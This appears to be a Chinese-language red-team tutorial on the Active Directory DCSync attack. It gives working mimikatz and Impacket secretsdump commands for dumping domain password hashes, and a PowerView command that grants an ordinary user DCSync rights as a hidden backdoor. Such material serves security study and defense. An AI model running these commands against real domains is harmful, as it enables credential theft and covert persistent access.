一个域环境可以拥有多台域控制器,每台域控制器各自存储着一份所在域的活动目录的可写副本,对目录的任何修改都可以从源域控制器同步到本域、域树或域林中的其他域控制器上。当一个域控想从另一个域控获取域数据更新时,客户端域控会向服务端域控发送DSGetNCChanges请求,该请求的响应将包含客户端域控必须应用到其他活动目录副本的一组更新。通过情况下,域控制器之间每15分钟就会有一次域数据同步。
DCSync技术就是利用域控制器同步的原理,通过DRS服务的某接口向域控发起数据同步请求。在DCSync出现前,要获得所有域用户的哈希,红队人员可能要登录域控制器或通过卷影拷贝技术获取NTDS.dit文件。利用DCSync,红队人员可以再域内的任何一台机器上模拟一个域控制器,通过域数据同步复制的方式获取正在运行的合法域控制器上的数据。注意,DCSync攻击不适用于只读域控制器。
在默认情况下,只有administrators、domain controllers、enterprise domain admins组内的用户和域控制器的机器账户才有执行DCSync操作的权限。
利用DSCync导出域内哈希
mimikatz下的利用
mimikatz在2015年添加了DCSync功能。执行如下,导出域内用户哈希
#导出域内指定用户的信息,包括哈希
mimikatz.exe "lsadump::dcsync /domain:test.lab /user:yuwin7" exit
#导出域内所有用户的信息,包括哈希
mimikatz.exe "lsadump::dcsync /domain:test.lab /all" exit
mimikatz.exe "lsadump::dcsync /domain:test.lab /all /csv" exit
一般来说,域管和krbtgt用户的哈希是有价值的。
Impacket下的利用
Impacket项目中secretsdump.py脚本支持通过DCSync技术导出域控制器中用户哈希。该工具可以使用提供的高权限用户的登录凭据,从未加入域的系统上远程连接至域控制器,并从注册表中导出本地用户的哈希值,同时通过DCSync或卷影复制的方法,在NTDS.dit文件中导出所有域用户的哈希值。
python3 secretsdump.py 域名/域控账户名:密码@域控ip -just-dc-user "域名前缀\要导出的账号"
python3 secretsdump.py test.lab/administrator:123.com@192.168.10.2 -just-dc-user "dc\administrator"
利用DSCync维持域内权限
在获取域管理员权限后,红队人员可以手动为域内普通用户赋予DCSync权限,从而实现隐蔽的域后门,只需为普通域用户添加两条扩展权限即可。如下域管理员中为yuwin7普通域用户添加DCSync权限
#添加ACE
powershell -exec bypass
import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose
#使用完后可以删除ACE
Remove-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose
普通域账户yuwin7成功导出域内用户哈希